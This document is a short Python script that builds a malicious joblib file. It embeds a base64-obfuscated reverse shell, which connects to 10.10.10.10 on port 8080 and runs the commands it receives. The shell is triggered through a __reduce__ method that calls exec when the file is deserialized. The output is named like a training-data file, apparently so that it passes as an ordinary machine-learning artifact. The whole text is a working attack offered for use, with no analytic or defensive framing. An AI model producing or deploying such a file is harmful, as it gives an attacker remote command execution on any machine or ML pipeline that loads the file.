import joblib import base64 import textwrap # Step 1: Define your reverse shell code payload = textwrap.dedent(""" import socket import subprocess ip = "10.10.10.10" p = 8080 s = socket.socket() s.connect((ip, p)) while True: c = s.recv(1024).decode() if not c: break o = subprocess.getoutput(c) s.sendall(o.encode()) """).strip() # Step 2: Obfuscate the payload using base64 encoded_payload = base64.b64encode(payload.encode()).decode() # Step 3: Create a malicious class that triggers on deserialization class Trigger: def __reduce__(self): cmd = ( "import base64\n" f"exec(base64.b64decode('{encoded_payload}').decode())" ) return (exec, (cmd,)) # Step 4: Dump it to a joblib file with open("train_data_mod_obfuscated_fixed.joblib", "wb") as f: joblib.dump(Trigger(), f) print("✅ Joblib file created: train_data_mod_obfuscated_fixed.joblib")